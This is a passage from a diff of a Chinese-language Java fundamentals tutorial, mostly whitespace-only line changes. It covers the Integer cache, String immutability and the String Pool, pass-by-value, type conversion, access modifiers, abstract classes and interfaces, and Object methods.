 ```java
-Integer m = 123;
-Integer n = 123;
-System.out.println(m == n); // true
+Integer m = 123;
+Integer n = 123;
+System.out.println(m == n); // true
 ```
 
 基本类型对应的缓冲池如下：
 
-- boolean values true and false
-- all byte values
-- short values between -128 and 127
-- int values between -128 and 127
-- char in the range \u0000 to \u007F
+- boolean values true and false
+- all byte values
+- short values between -128 and 127
+- int values between -128 and 127
+- char in the range \u0000 to \u007F
 
 在使用这些基本类型对应的包装类型时，就可以直接使用缓冲池中的对象。
 
-[StackOverflow : Differences between new Integer(123), Integer.valueOf(123) and just 123
+[StackOverflow : Differences between new Integer(123), Integer.valueOf(123) and just 123
 ](https://stackoverflow.com/questions/9030817/differences-between-new-integer123-integer-valueof123-and-just-123)
 
-# 二、String
+# 二、String
 
-## 概览
+## 概览
 
-String 被声明为 final，因此它不可被继承。
+String 被声明为 final，因此它不可被继承。
 
-在 Java 8 中，String 内部使用 char 数组存储数据。
+在 Java 8 中，String 内部使用 char 数组存储数据。
 
 ```java
-public final class String
-    implements java.io.Serializable, Comparable<String>, CharSequence {
-    /** The value is used for character storage. */
-    private final char value[];
+public final class String
+    implements java.io.Serializable, Comparable<String>, CharSequence {
+    /** The value is used for character storage. */
+    private final char value[];
 }
 ```
 
-在 Java 9 之后，String 类的实现改用 byte 数组存储字符串，同时使用 `coder` 来标识使用了哪种编码。
+在 Java 9 之后，String 类的实现改用 byte 数组存储字符串，同时使用 `coder` 来标识使用了哪种编码。
 
 ```java
-public final class String
-    implements java.io.Serializable, Comparable<String>, CharSequence {
-    /** The value is used for character storage. */
-    private final byte[] value;
+public final class String
+    implements java.io.Serializable, Comparable<String>, CharSequence {
+    /** The value is used for character storage. */
+    private final byte[] value;
 
-    /** The identifier of the encoding used to encode the bytes in {@code value}. */
-    private final byte coder;
+    /** The identifier of the encoding used to encode the bytes in {@code value}. */
+    private final byte coder;
 }
 ```
 
-value 数组被声明为 final，这意味着 value 数组初始化之后就不能再引用其它数组。并且 String 内部没有改变 value 数组的方法，因此可以保证 String 不可变。
+value 数组被声明为 final，这意味着 value 数组初始化之后就不能再引用其它数组。并且 String 内部没有改变 value 数组的方法，因此可以保证 String 不可变。
 
-## 不可变的好处
+## 不可变的好处
 
-**1. 可以缓存 hash 值** 
+**1. 可以缓存 hash 值**
 
-因为 String 的 hash 值经常被使用，例如 String 用做 HashMap 的 key。不可变的特性可以使得 hash 值也不可变，因此只需要进行一次计算。
+因为 String 的 hash 值经常被使用，例如 String 用做 HashMap 的 key。不可变的特性可以使得 hash 值也不可变，因此只需要进行一次计算。
 
-**2. String Pool 的需要** 
+**2. String Pool 的需要**
 
-如果一个 String 对象已经被创建过了，那么就会从 String Pool 中取得引用。只有 String 是不可变的，才可能使用 String Pool。
+如果一个 String 对象已经被创建过了，那么就会从 String Pool 中取得引用。只有 String 是不可变的，才可能使用 String Pool。
 
-<div align="center"> <img src="pics/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg" width=""/> </div><br>
+<img src="index_files/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg" width=""/>
 
-**3. 安全性** 
+**3. 安全性**
 
-String 经常作为参数，String 不可变性可以保证参数不可变。例如在作为网络连接参数的情况下如果 String 是可变的，那么在网络连接过程中，String 被改变，改变 String 对象的那一方以为现在连接的是其它主机，而实际情况却不一定是。
+String 经常作为参数，String 不可变性可以保证参数不可变。例如在作为网络连接参数的情况下如果 String 是可变的，那么在网络连接过程中，String 被改变，改变 String 对象的那一方以为现在连接的是其它主机，而实际情况却不一定是。
 
-**4. 线程安全** 
+**4. 线程安全**
 
-String 不可变性天生具备线程安全，可以在多个线程中安全地使用。
+String 不可变性天生具备线程安全，可以在多个线程中安全地使用。
 
-[Program Creek : Why String is immutable in Java?](https://www.programcreek.com/2013/04/why-string-is-immutable-in-java/)
+[Program Creek : Why String is immutable in Java?](https://www.programcreek.com/2013/04/why-string-is-immutable-in-java/)
 
-## String, StringBuffer and StringBuilder
+## String, StringBuffer and StringBuilder
 
-**1. 可变性** 
+**1. 可变性**
 
-- String 不可变
-- StringBuffer 和 StringBuilder 可变
+- String 不可变
+- StringBuffer 和 StringBuilder 可变
 
-**2. 线程安全** 
+**2. 线程安全**
 
-- String 不可变，因此是线程安全的
-- StringBuilder 不是线程安全的
-- StringBuffer 是线程安全的，内部使用 synchronized 进行同步
+- String 不可变，因此是线程安全的
+- StringBuilder 不是线程安全的
+- StringBuffer 是线程安全的，内部使用 synchronized 进行同步
 
-[StackOverflow : String, StringBuffer, and StringBuilder](https://stackoverflow.com/questions/2971315/string-stringbuffer-and-stringbuilder)
+[StackOverflow : String, StringBuffer, and StringBuilder](https://stackoverflow.com/questions/2971315/string-stringbuffer-and-stringbuilder)
 
-## String Pool
+## String Pool
 
-字符串常量池（String Pool）保存着所有字符串字面量（literal strings），这些字面量在编译时期就确定。不仅如此，还可以使用 String 的 intern() 方法在运行过程中将字符串添加到 String Pool 中。
+字符串常量池（String Pool）保存着所有字符串字面量（literal strings），这些字面量在编译时期就确定。不仅如此，还可以使用 String 的 intern() 方法在运行过程中将字符串添加到 String Pool 中。
 
-当一个字符串调用 intern() 方法时，如果 String Pool 中已经存在一个字符串和该字符串值相等（使用 equals() 方法进行确定），那么就会返回 String Pool 中字符串的引用；否则，就会在 String Pool 中添加一个新的字符串，并返回这个新字符串的引用。
+当一个字符串调用 intern() 方法时，如果 String Pool 中已经存在一个字符串和该字符串值相等（使用 equals() 方法进行确定），那么就会返回 String Pool 中字符串的引用；否则，就会在 String Pool 中添加一个新的字符串，并返回这个新字符串的引用。
 
-下面示例中，s1 和 s2 采用 new String() 的方式新建了两个不同字符串，而 s3 和 s4 是通过 s1.intern() 方法取得一个字符串引用。intern() 首先把 s1 引用的字符串放到 String Pool 中，然后返回这个字符串引用。因此 s3 和 s4 引用的是同一个字符串。
+下面示例中，s1 和 s2 采用 new String() 的方式新建了两个不同字符串，而 s3 和 s4 是通过 s1.intern() 方法取得一个字符串引用。intern() 首先把 s1 引用的字符串放到 String Pool 中，然后返回这个字符串引用。因此 s3 和 s4 引用的是同一个字符串。
 
 ```java
-String s1 = new String("aaa");
-String s2 = new String("aaa");
-System.out.println(s1 == s2);           // false
-String s3 = s1.intern();
-String s4 = s1.intern();
-System.out.println(s3 == s4);           // true
+String s1 = new String("aaa");
+String s2 = new String("aaa");
+System.out.println(s1 == s2);           // false
+String s3 = s1.intern();
+String s4 = s1.intern();
+System.out.println(s3 == s4);           // true
 ```
 
-如果是采用 "bbb" 这种字面量的形式创建字符串，会自动地将字符串放入 String Pool 中。
+如果是采用 "bbb" 这种字面量的形式创建字符串，会自动地将字符串放入 String Pool 中。
 
 ```java
-String s5 = "bbb";
-String s6 = "bbb";
-System.out.println(s5 == s6);  // true
+String s5 = "bbb";
+String s6 = "bbb";
+System.out.println(s5 == s6);  // true
 ```
 
-在 Java 7 之前，String Pool 被放在运行时常量池中，它属于永久代。而在 Java 7，String Pool 被移到堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
+在 Java 7 之前，String Pool 被放在运行时常量池中，它属于永久代。而在 Java 7，String Pool 被移到堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
 
-- [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning)
-- [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
+- [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning)
+- [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
 
-## new String("abc")
+## new String("abc")
 
-使用这种方式一共会创建两个字符串对象（前提是 String Pool 中还没有 "abc" 字符串对象）。
+使用这种方式一共会创建两个字符串对象（前提是 String Pool 中还没有 "abc" 字符串对象）。
 
-- "abc" 属于字符串字面量，因此编译时期会在 String Pool 中创建一个字符串对象，指向这个 "abc" 字符串字面量；
-- 而使用 new 的方式会在堆中创建一个字符串对象。
+- "abc" 属于字符串字面量，因此编译时期会在 String Pool 中创建一个字符串对象，指向这个 "abc" 字符串字面量；
+- 而使用 new 的方式会在堆中创建一个字符串对象。
 
-创建一个测试类，其 main 方法中使用这种方式来创建字符串对象。
+创建一个测试类，其 main 方法中使用这种方式来创建字符串对象。
 
 ```java
-public class NewStringTest {
-    public static void main(String[] args) {
-        String s = new String("abc");
-    }
+public class NewStringTest {
+    public static void main(String[] args) {
+        String s = new String("abc");
+    }
 }
 ```
 
-使用 javap -verbose 进行反编译，得到以下内容：
+使用 javap -verbose 进行反编译，得到以下内容：
 
 ```java
-// ...
-Constant pool:
-// ...
-   #2 = Class              #18            // java/lang/String
-   #3 = String             #19            // abc
-// ...
-  #18 = Utf8               java/lang/String
-  #19 = Utf8               abc
-// ...
+// ...
+Constant pool:
+// ...
+   #2 = Class              #18            // java/lang/String
+   #3 = String             #19            // abc
+// ...
+  #18 = Utf8               java/lang/String
+  #19 = Utf8               abc
+// ...
 
-  public static void main(java.lang.String[]);
-    descriptor: ([Ljava/lang/String;)V
-    flags: ACC_PUBLIC, ACC_STATIC
-    Code:
-      stack=3, locals=2, args_size=1
-         0: new           #2                  // class java/lang/String
-         3: dup
-         4: ldc           #3                  // String abc
-         6: invokespecial #4                  // Method java/lang/String."<init>":(Ljava/lang/String;)V
-         9: astore_1
-// ...
+  public static void main(java.lang.String[]);
+    descriptor: ([Ljava/lang/String;)V
+    flags: ACC_PUBLIC, ACC_STATIC
+    Code:
+      stack=3, locals=2, args_size=1
+         0: new           #2                  // class java/lang/String
+         3: dup
+         4: ldc           #3                  // String abc
+         6: invokespecial #4                  // Method java/lang/String."<init>":(Ljava/lang/String;)V
+         9: astore_1
+// ...
 ```
 
-在 Constant Pool 中，#19 存储这字符串字面量 "abc"，#3 是 String Pool 的字符串对象，它指向 #19 这个字符串字面量。在 main 方法中，0: 行使用 new #2 在堆中创建一个字符串对象，并且使用 ldc #3 将 String Pool 中的字符串对象作为 String 构造函数的参数。
+在 Constant Pool 中，#19 存储这字符串字面量 "abc"，#3 是 String Pool 的字符串对象，它指向 #19 这个字符串字面量。在 main 方法中，0: 行使用 new #2 在堆中创建一个字符串对象，并且使用 ldc #3 将 String Pool 中的字符串对象作为 String 构造函数的参数。
 
-以下是 String 构造函数的源码，可以看到，在将一个字符串对象作为另一个字符串对象的构造函数参数时，并不会完全复制 value 数组内容，而是都会指向同一个 value 数组。
+以下是 String 构造函数的源码，可以看到，在将一个字符串对象作为另一个字符串对象的构造函数参数时，并不会完全复制 value 数组内容，而是都会指向同一个 value 数组。
 
 ```java
-public String(String original) {
-    this.value = original.value;
-    this.hash = original.hash;
+public String(String original) {
+    this.value = original.value;
+    this.hash = original.hash;
 }
 ```
 
-# 三、运算
+# 三、运算
 
-## 参数传递
+## 参数传递
 
-Java 的参数是以值传递的形式传入方法中，而不是引用传递。
+Java 的参数是以值传递的形式传入方法中，而不是引用传递。
 
-以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。因此在方法中使指针引用其它对象，那么这两个指针此时指向的是完全不同的对象，在一方改变其所指向对象的内容时对另一方没有影响。
+以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。因此在方法中使指针引用其它对象，那么这两个指针此时指向的是完全不同的对象，在一方改变其所指向对象的内容时对另一方没有影响。
 
 ```java
-public class Dog {
+public class Dog {
 
-    String name;
+    String name;
 
-    Dog(String name) {
-        this.name = name;
-    }
+    Dog(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return this.name;
-    }
+    String getName() {
+        return this.name;
+    }
 
-    void setName(String name) {
-        this.name = name;
-    }
+    void setName(String name) {
+        this.name = name;
+    }
 
-    String getObjectAddress() {
-        return super.toString();
-    }
+    String getObjectAddress() {
+        return super.toString();
+    }
 }
 ```
 
 ```java
-public class PassByValueExample {
-    public static void main(String[] args) {
-        Dog dog = new Dog("A");
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        func(dog);
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        System.out.println(dog.getName());          // A
-    }
+public class PassByValueExample {
+    public static void main(String[] args) {
+        Dog dog = new Dog("A");
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        func(dog);
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        System.out.println(dog.getName());          // A
+    }
 
-    private static void func(Dog dog) {
-        System.out.println(dog.getObjectAddress()); // Dog@4554617c
-        dog = new Dog("B");
-        System.out.println(dog.getObjectAddress()); // Dog@74a14482
-        System.out.println(dog.getName());          // B
-    }
+    private static void func(Dog dog) {
+        System.out.println(dog.getObjectAddress()); // Dog@4554617c
+        dog = new Dog("B");
+        System.out.println(dog.getObjectAddress()); // Dog@74a14482
+        System.out.println(dog.getName());          // B
+    }
 }
 ```
 
 如果在方法中改变对象的字段值会改变原对象该字段值，因为改变的是同一个地址指向的内容。
 
 ```java
-class PassByValueExample {
-    public static void main(String[] args) {
-        Dog dog = new Dog("A");
-        func(dog);
-        System.out.println(dog.getName());          // B
-    }
+class PassByValueExample {
+    public static void main(String[] args) {
+        Dog dog = new Dog("A");
+        func(dog);
+        System.out.println(dog.getName());          // B
+    }
 
-    private static void func(Dog dog) {
-        dog.setName("B");
-    }
+    private static void func(Dog dog) {
+        dog.setName("B");
+    }
 }
 ```
 
-[StackOverflow: Is Java “pass-by-reference” or “pass-by-value”?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)
+[StackOverflow: Is Java “pass-by-reference” or “pass-by-value”?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)
 
-## float 与 double
+## float 与 double
 
-Java 不能隐式执行向下转型，因为这会使得精度降低。
+Java 不能隐式执行向下转型，因为这会使得精度降低。
 
-1.1 字面量属于 double 类型，不能直接将 1.1 直接赋值给 float 变量，因为这是向下转型。
+1.1 字面量属于 double 类型，不能直接将 1.1 直接赋值给 float 变量，因为这是向下转型。
 
 ```java
-// float f = 1.1;
+// float f = 1.1;
 ```
 
-1.1f 字面量才是 float 类型。
+1.1f 字面量才是 float 类型。
 
 ```java
-float f = 1.1f;
+float f = 1.1f;
 ```
 
-## 隐式类型转换
+## 隐式类型转换
 
-因为字面量 1 是 int 类型，它比 short 类型精度要高，因此不能隐式地将 int 类型下转型为 short 类型。
+因为字面量 1 是 int 类型，它比 short 类型精度要高，因此不能隐式地将 int 类型下转型为 short 类型。
 
 ```java
-short s1 = 1;
-// s1 = s1 + 1;
+short s1 = 1;
+// s1 = s1 + 1;
 ```
 
-但是使用 += 或者 ++ 运算符可以执行隐式类型转换。
+但是使用 += 或者 ++ 运算符可以执行隐式类型转换。
 
 ```java
-s1 += 1;
-// s1++;
+s1 += 1;
+// s1++;
 ```
 
-上面的语句相当于将 s1 + 1 的计算结果进行了向下转型：
+上面的语句相当于将 s1 + 1 的计算结果进行了向下转型：
 
 ```java
-s1 = (short) (s1 + 1);
+s1 = (short) (s1 + 1);
 ```
 
-[StackOverflow : Why don't Java's +=, -=, *=, /= compound assignment operators require casting?](https://stackoverflow.com/questions/8710619/why-dont-javas-compound-assignment-operators-require-casting)
+[StackOverflow : Why don't Java's +=, -=, *=, /= compound assignment operators require casting?](https://stackoverflow.com/questions/8710619/why-dont-javas-compound-assignment-operators-require-casting)
 
-## switch
+## switch
 
-从 Java 7 开始，可以在 switch 条件判断语句中使用 String 对象。
+从 Java 7 开始，可以在 switch 条件判断语句中使用 String 对象。
 
 ```java
-String s = "a";
-switch (s) {
-    case "a":
-        System.out.println("aaa");
-        break;
-    case "b":
-        System.out.println("bbb");
-        break;
+String s = "a";
+switch (s) {
+    case "a":
+        System.out.println("aaa");
+        break;
+    case "b":
+        System.out.println("bbb");
+        break;
 }
 ```
 
-switch 不支持 long，是因为 switch 的设计初衷是对那些只有少数的几个值进行等值判断，如果值过于复杂，那么还是用 if 比较合适。
+switch 不支持 long，是因为 switch 的设计初衷是对那些只有少数的几个值进行等值判断，如果值过于复杂，那么还是用 if 比较合适。
 
 ```java
-// long x = 111;
-// switch (x) { // Incompatible types. Found: 'long', required: 'char, byte, short, int, Character, Byte, Short, Integer, String, or an enum'
-//     case 111:
-//         System.out.println(111);
-//         break;
-//     case 222:
-//         System.out.println(222);
-//         break;
-// }
+// long x = 111;
+// switch (x) { // Incompatible types. Found: 'long', required: 'char, byte, short, int, Character, Byte, Short, Integer, String, or an enum'
+//     case 111:
+//         System.out.println(111);
+//         break;
+//     case 222:
+//         System.out.println(222);
+//         break;
+// }
 ```
 
-[StackOverflow : Why can't your switch statement data type be long, Java?](https://stackoverflow.com/questions/2676210/why-cant-your-switch-statement-data-type-be-long-java)
+[StackOverflow : Why can't your switch statement data type be long, Java?](https://stackoverflow.com/questions/2676210/why-cant-your-switch-statement-data-type-be-long-java)
 
-# 四、继承
+# 四、继承
 
-## 访问权限
+## 访问权限
 
-Java 中有三个访问权限修饰符：private、protected 以及 public，如果不加访问修饰符，表示包级可见。
+Java 中有三个访问权限修饰符：private、protected 以及 public，如果不加访问修饰符，表示包级可见。
 
 可以对类或类中的成员（字段以及方法）加上访问修饰符。
 
-- 类可见表示其它类可以用这个类创建实例对象。
-- 成员可见表示其它类可以用这个类的实例对象访问到该成员；
+- 类可见表示其它类可以用这个类创建实例对象。
+- 成员可见表示其它类可以用这个类的实例对象访问到该成员；
 
-protected 用于修饰成员，表示在继承体系中成员对于子类可见，但是这个访问修饰符对于类没有意义。
+protected 用于修饰成员，表示在继承体系中成员对于子类可见，但是这个访问修饰符对于类没有意义。
 
-设计良好的模块会隐藏所有的实现细节，把它的 API 与它的实现清晰地隔离开来。模块之间只通过它们的 API 进行通信，一个模块不需要知道其他模块的内部工作情况，这个概念被称为信息隐藏或封装。因此访问权限应当尽可能地使每个类或者成员不被外界访问。
+设计良好的模块会隐藏所有的实现细节，把它的 API 与它的实现清晰地隔离开来。模块之间只通过它们的 API 进行通信，一个模块不需要知道其他模块的内部工作情况，这个概念被称为信息隐藏或封装。因此访问权限应当尽可能地使每个类或者成员不被外界访问。
 
 如果子类的方法重写了父类的方法，那么子类中该方法的访问级别不允许低于父类的访问级别。这是为了确保可以使用父类实例的地方都可以使用子类实例，也就是确保满足里氏替换原则。
 
-字段决不能是公有的，因为这么做的话就失去了对这个字段修改行为的控制，客户端可以对其随意修改。例如下面的例子中，AccessExample 拥有 id 公有字段，如果在某个时刻，我们想要使用 int 存储 id 字段，那么就需要修改所有的客户端代码。
+字段决不能是公有的，因为这么做的话就失去了对这个字段修改行为的控制，客户端可以对其随意修改。例如下面的例子中，AccessExample 拥有 id 公有字段，如果在某个时刻，我们想要使用 int 存储 id 字段，那么就需要修改所有的客户端代码。
 
 ```java
-public class AccessExample {
-    public String id;
+public class AccessExample {
+    public String id;
 }
 ```
 
-可以使用公有的 getter 和 setter 方法来替换公有字段，这样的话就可以控制对字段的修改行为。
+可以使用公有的 getter 和 setter 方法来替换公有字段，这样的话就可以控制对字段的修改行为。
 
 
 ```java
-public class AccessExample {
+public class AccessExample {
 
-    private int id;
+    private int id;
 
-    public String getId() {
-        return id + "";
-    }
+    public String getId() {
+        return id + "";
+    }
 
-    public void setId(String id) {
-        this.id = Integer.valueOf(id);
-    }
+    public void setId(String id) {
+        this.id = Integer.valueOf(id);
+    }
 }
 ```
 
 但是也有例外，如果是包级私有的类或者私有的嵌套类，那么直接暴露成员不会有特别大的影响。
 
 ```java
-public class AccessWithInnerClassExample {
+public class AccessWithInnerClassExample {
 
-    private class InnerClass {
-        int x;
-    }
+    private class InnerClass {
+        int x;
+    }
 
-    private InnerClass innerClass;
+    private InnerClass innerClass;
 
-    public AccessWithInnerClassExample() {
-        innerClass = new InnerClass();
-    }
+    public AccessWithInnerClassExample() {
+        innerClass = new InnerClass();
+    }
 
-    public int getValue() {
-        return innerClass.x;  // 直接访问
-    }
+    public int getValue() {
+        return innerClass.x;  // 直接访问
+    }
 }
 ```
 
-## 抽象类与接口
+## 抽象类与接口
 
-**1. 抽象类** 
+**1. 抽象类**
 
-抽象类和抽象方法都使用 abstract 关键字进行声明。抽象类一般会包含抽象方法，抽象方法一定位于抽象类中。
+抽象类和抽象方法都使用 abstract 关键字进行声明。抽象类一般会包含抽象方法，抽象方法一定位于抽象类中。
 
 抽象类和普通类最大的区别是，抽象类不能被实例化，需要继承抽象类才能实例化其子类。
 
 ```java
-public abstract class AbstractClassExample {
+public abstract class AbstractClassExample {
 
-    protected int x;
-    private int y;
+    protected int x;
+    private int y;
 
-    public abstract void func1();
+    public abstract void func1();
 
-    public void func2() {
-        System.out.println("func2");
-    }
+    public void func2() {
+        System.out.println("func2");
+    }
 }
 ```
 
 ```java
-public class AbstractExtendClassExample extends AbstractClassExample {
-    @Override
-    public void func1() {
-        System.out.println("func1");
-    }
+public class AbstractExtendClassExample extends AbstractClassExample {
+    @Override
+    public void func1() {
+        System.out.println("func1");
+    }
 }
 ```
 
 ```java
-// AbstractClassExample ac1 = new AbstractClassExample(); // 'AbstractClassExample' is abstract; cannot be instantiated
-AbstractClassExample ac2 = new AbstractExtendClassExample();
+// AbstractClassExample ac1 = new AbstractClassExample(); // 'AbstractClassExample' is abstract; cannot be instantiated
+AbstractClassExample ac2 = new AbstractExtendClassExample();
 ac2.func1();
 ```
 
-**2. 接口** 
+**2. 接口**
 
-接口是抽象类的延伸，在 Java 8 之前，它可以看成是一个完全抽象的类，也就是说它不能有任何的方法实现。
+接口是抽象类的延伸，在 Java 8 之前，它可以看成是一个完全抽象的类，也就是说它不能有任何的方法实现。
 
-从 Java 8 开始，接口也可以拥有默认的方法实现，这是因为不支持默认方法的接口的维护成本太高了。在 Java 8 之前，如果一个接口想要添加新的方法，那么要修改所有实现了该接口的类。
+从 Java 8 开始，接口也可以拥有默认的方法实现，这是因为不支持默认方法的接口的维护成本太高了。在 Java 8 之前，如果一个接口想要添加新的方法，那么要修改所有实现了该接口的类。
 
-接口的成员（字段 + 方法）默认都是 public 的，并且不允许定义为 private 或者 protected。
+接口的成员（字段 + 方法）默认都是 public 的，并且不允许定义为 private 或者 protected。
 
-接口的字段默认都是 static 和 final 的。
+接口的字段默认都是 static 和 final 的。
 
 ```java
-public interface InterfaceExample {
+public interface InterfaceExample {
 
-    void func1();
+    void func1();
 
-    default void func2(){
-        System.out.println("func2");
-    }
+    default void func2(){
+        System.out.println("func2");
+    }
 
-    int x = 123;
-    // int y;               // Variable 'y' might not have been initialized
-    public int z = 0;       // Modifier 'public' is redundant for interface fields
-    // private int k = 0;   // Modifier 'private' not allowed here
-    // protected int l = 0; // Modifier 'protected' not allowed here
-    // private void fun3(); // Modifier 'private' not allowed here
+    int x = 123;
+    // int y;               // Variable 'y' might not have been initialized
+    public int z = 0;       // Modifier 'public' is redundant for interface fields
+    // private int k = 0;   // Modifier 'private' not allowed here
+    // protected int l = 0; // Modifier 'protected' not allowed here
+    // private void fun3(); // Modifier 'private' not allowed here
 }
 ```
 
 ```java
-public class InterfaceImplementExample implements InterfaceExample {
-    @Override
-    public void func1() {
-        System.out.println("func1");
-    }
+public class InterfaceImplementExample implements InterfaceExample {
+    @Override
+    public void func1() {
+        System.out.println("func1");
+    }
 }
 ```
 
 ```java
-// InterfaceExample ie1 = new InterfaceExample(); // 'InterfaceExample' is abstract; cannot be instantiated
-InterfaceExample ie2 = new InterfaceImplementExample();
+// InterfaceExample ie1 = new InterfaceExample(); // 'InterfaceExample' is abstract; cannot be instantiated
+InterfaceExample ie2 = new InterfaceImplementExample();
 ie2.func1();
 System.out.println(InterfaceExample.x);
 ```
 
-**3. 比较** 
+**3. 比较**
 
-- 从设计层面上看，抽象类提供了一种 IS-A 关系，那么就必须满足里式替换原则，即子类对象必须能够替换掉所有父类对象。而接口更像是一种 LIKE-A 关系，它只是提供一种方法实现契约，并不要求接口和实现接口的类具有 IS-A 关系。
-- 从使用上来看，一个类可以实现多个接口，但是不能继承多个抽象类。
-- 接口的字段只能是 static 和 final 类型的，而抽象类的字段没有这种限制。
-- 接口的成员只能是 public 的，而抽象类的成员可以有多种访问权限。
+- 从设计层面上看，抽象类提供了一种 IS-A 关系，那么就必须满足里式替换原则，即子类对象必须能够替换掉所有父类对象。而接口更像是一种 LIKE-A 关系，它只是提供一种方法实现契约，并不要求接口和实现接口的类具有 IS-A 关系。
+- 从使用上来看，一个类可以实现多个接口，但是不能继承多个抽象类。
+- 接口的字段只能是 static 和 final 类型的，而抽象类的字段没有这种限制。
+- 接口的成员只能是 public 的，而抽象类的成员可以有多种访问权限。
 
-**4. 使用选择** 
+**4. 使用选择**
 
 使用接口：
 
-- 需要让不相关的类都实现一个方法，例如不相关的类都可以实现 Compareable 接口中的 compareTo() 方法；
-- 需要使用多重继承。
+- 需要让不相关的类都实现一个方法，例如不相关的类都可以实现 Compareable 接口中的 compareTo() 方法；
+- 需要使用多重继承。
 
 使用抽象类：
 
-- 需要在几个相关的类中共享代码。
-- 需要能控制继承来的成员的访问权限，而不是都为 public。
-- 需要继承非静态和非常量字段。
+- 需要在几个相关的类中共享代码。
+- 需要能控制继承来的成员的访问权限，而不是都为 public。
+- 需要继承非静态和非常量字段。
 
-在很多情况下，接口优先于抽象类。因为接口没有抽象类严格的类层次结构要求，可以灵活地为一个类添加行为。并且从 Java 8 开始，接口也可以有默认的方法实现，使得修改接口的成本也变的很低。
+在很多情况下，接口优先于抽象类。因为接口没有抽象类严格的类层次结构要求，可以灵活地为一个类添加行为。并且从 Java 8 开始，接口也可以有默认的方法实现，使得修改接口的成本也变的很低。
 
-- [深入理解 abstract class 和 interface](https://www.ibm.com/developerworks/cn/java/l-javainterface-abstract/)
-- [When to Use Abstract Class and Interface](https://dzone.com/articles/when-to-use-abstract-class-and-intreface)
+- [深入理解 abstract class 和 interface](https://www.ibm.com/developerworks/cn/java/l-javainterface-abstract/)
+- [When to Use Abstract Class and Interface](https://dzone.com/articles/when-to-use-abstract-class-and-intreface)
 
-## super
+## super
 
-- 访问父类的构造函数：可以使用 super() 函数访问父类的构造函数，从而委托父类完成一些初始化的工作。
-- 访问父类的成员：如果子类重写了父类的某个方法，可以通过使用 super 关键字来引用父类的方法实现。
+- 访问父类的构造函数：可以使用 super() 函数访问父类的构造函数，从而委托父类完成一些初始化的工作。
+- 访问父类的成员：如果子类重写了父类的某个方法，可以通过使用 super 关键字来引用父类的方法实现。
 
 ```java
-public class SuperExample {
+public class SuperExample {
 
-    protected int x;
-    protected int y;
+    protected int x;
+    protected int y;
 
-    public SuperExample(int x, int y) {
-        this.x = x;
-        this.y = y;
-    }
+    public SuperExample(int x, int y) {
+        this.x = x;
+        this.y = y;
+    }
 
-    public void func() {
-        System.out.println("SuperExample.func()");
-    }
+    public void func() {
+        System.out.println("SuperExample.func()");
+    }
 }
 ```
 
 ```java
-public class SuperExtendExample extends SuperExample {
+public class SuperExtendExample extends SuperExample {
 
-    private int z;
+    private int z;
 
-    public SuperExtendExample(int x, int y, int z) {
-        super(x, y);
-        this.z = z;
-    }
+    public SuperExtendExample(int x, int y, int z) {
+        super(x, y);
+        this.z = z;
+    }
 
-    @Override
-    public void func() {
-        super.func();
-        System.out.println("SuperExtendExample.func()");
-    }
+    @Override
+    public void func() {
+        super.func();
+        System.out.println("SuperExtendExample.func()");
+    }
 }
 ```
 
 ```java
-SuperExample e = new SuperExtendExample(1, 2, 3);
+SuperExample e = new SuperExtendExample(1, 2, 3);
 e.func();
 ```
 
@@ -655,191 +613,191 @@ SuperExample.func()
 SuperExtendExample.func()
 ```
 
-[Using the Keyword super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)
+[Using the Keyword super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)
 
-## 重写与重载
+## 重写与重载
 
-**1. 重写（Override）** 
+**1. 重写（Override）**
 
 存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法。
 
 为了满足里式替换原则，重写有有以下两个限制：
 
-- 子类方法的访问权限必须大于等于父类方法；
-- 子类方法的返回类型必须是父类方法返回类型或为其子类型。
+- 子类方法的访问权限必须大于等于父类方法；
+- 子类方法的返回类型必须是父类方法返回类型或为其子类型。
 
-使用 @Override 注解，可以让编译器帮忙检查是否满足上面的两个限制条件。
+使用 @Override 注解，可以让编译器帮忙检查是否满足上面的两个限制条件。
 
-**2. 重载（Overload）** 
+**2. 重载（Overload）**
 
 存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。
 
 应该注意的是，返回值不同，其它都相同不算是重载。
 
-# 五、Object 通用方法
+# 五、Object 通用方法
 
-## 概览
+## 概览
 
 ```java
 
-public native int hashCode()
+public native int hashCode()
 
-public boolean equals(Object obj)
+public boolean equals(Object obj)
 
-protected native Object clone() throws CloneNotSupportedException
+protected native Object clone() throws CloneNotSupportedException
 
-public String toString()
+public String toString()
 
-public final native Class<?> getClass()
+public final native Class<?> getClass()
 
-protected void finalize() throws Throwable {}
+protected void finalize() throws Throwable {}
 
-public final native void notify()
+public final native void notify()
 
-public final native void notifyAll()
+public final native void notifyAll()
 
-public final native void wait(long timeout) throws InterruptedException
+public final native void wait(long timeout) throws InterruptedException
 
-public final void wait(long timeout, int nanos) throws InterruptedException
+public final void wait(long timeout, int nanos) throws InterruptedException
 
-public final void wait() throws InterruptedException
+public final void wait() throws InterruptedException
 ```
 
-## equals()
+## equals()
 
-**1. 等价关系** 
+**1. 等价关系**
 
-Ⅰ 自反性
+Ⅰ 自反性
 
 ```java
-x.equals(x); // true
+x.equals(x); // true
 ```
 
-Ⅱ 对称性
+Ⅱ 对称性
 
 ```java
-x.equals(y) == y.equals(x); // true
